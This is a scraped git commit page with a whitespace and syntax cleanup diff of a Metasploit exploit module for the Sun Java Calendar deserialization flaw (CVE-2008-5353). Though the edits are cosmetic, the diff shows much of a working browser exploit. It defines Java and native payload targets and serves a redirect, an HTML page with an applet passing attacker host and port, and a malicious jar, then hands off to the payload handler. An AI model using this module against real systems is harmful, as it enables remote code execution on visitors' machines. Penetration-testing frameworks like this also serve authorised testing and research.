update whitespace / syntax for java_calendar_deserialize
parent
07ef09e0b6
commit
7444f24721
|
@ -17,8 +17,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# autopwn_info({ :javascript => false })
|
||||
|
||||
def initialize(info = {})
|
||||
|
||||
super( update_info( info,
|
||||
super(
|
||||
update_info(info,
|
||||
'Name' => 'Sun Java Calendar Deserialization Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
|
||||
|
@ -39,47 +39,47 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],
|
||||
[ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ]
|
||||
],
|
||||
'Platform' => %w{ linux osx solaris win },
|
||||
'Platform' => %w(linux osx solaris win),
|
||||
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (Java Payload)',
|
||||
{
|
||||
'Platform' => ['java'],
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Arch' => ARCH_JAVA
|
||||
}
|
||||
],
|
||||
[ 'Windows x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X PPC (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_PPC,
|
||||
'Arch' => ARCH_PPC
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Linux x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Dec 03 2008'
|
||||
))
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
# load the static jar file
|
||||
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2008-5353.jar")
|
||||
|
@ -90,22 +90,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
data = nil
|
||||
host = nil
|
||||
port = nil
|
||||
|
||||
if not request.uri.match(/\.jar$/i)
|
||||
if not request.uri.match(/\/$/)
|
||||
send_redirect( cli, get_resource() + '/', '')
|
||||
if !request.uri.match(/\.jar$/i)
|
||||
if !request.uri.match(/\/$/)
|
||||
send_redirect(cli, get_resource + '/', '')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{self.name} handling request")
|
||||
print_status("#{name} handling request")
|
||||
|
||||
payload = regenerate_payload(cli)
|
||||
if not payload
|
||||
if !payload
|
||||
print_error("Failed to generate the payload.")
|
||||
return
|
||||
end
|
||||
|
@ -138,12 +137,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
end
|
||||
|
||||
send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
|
||||
send_response_html(cli, generate_html(data, jar, host, port), 'Content-Type' => 'text/html')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending Applet.jar")
|
||||
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
|
||||
send_response(cli, generate_jar, 'Content-Type' => "application/octet-stream")
|
||||
|
||||
handler(cli)
|
||||
end
|
||||
|
@ -157,11 +156,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
|
||||
html += "<param name=\"lport\" value=\"#{port}\"/>" if port
|
||||
html += "</applet></body></html>"
|
||||
return html
|
||||
html
|
||||
end
|
||||
|
||||
def generate_jar()
|
||||
return @jar_data
|
||||
def generate_jar
|
||||
@jar_data
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue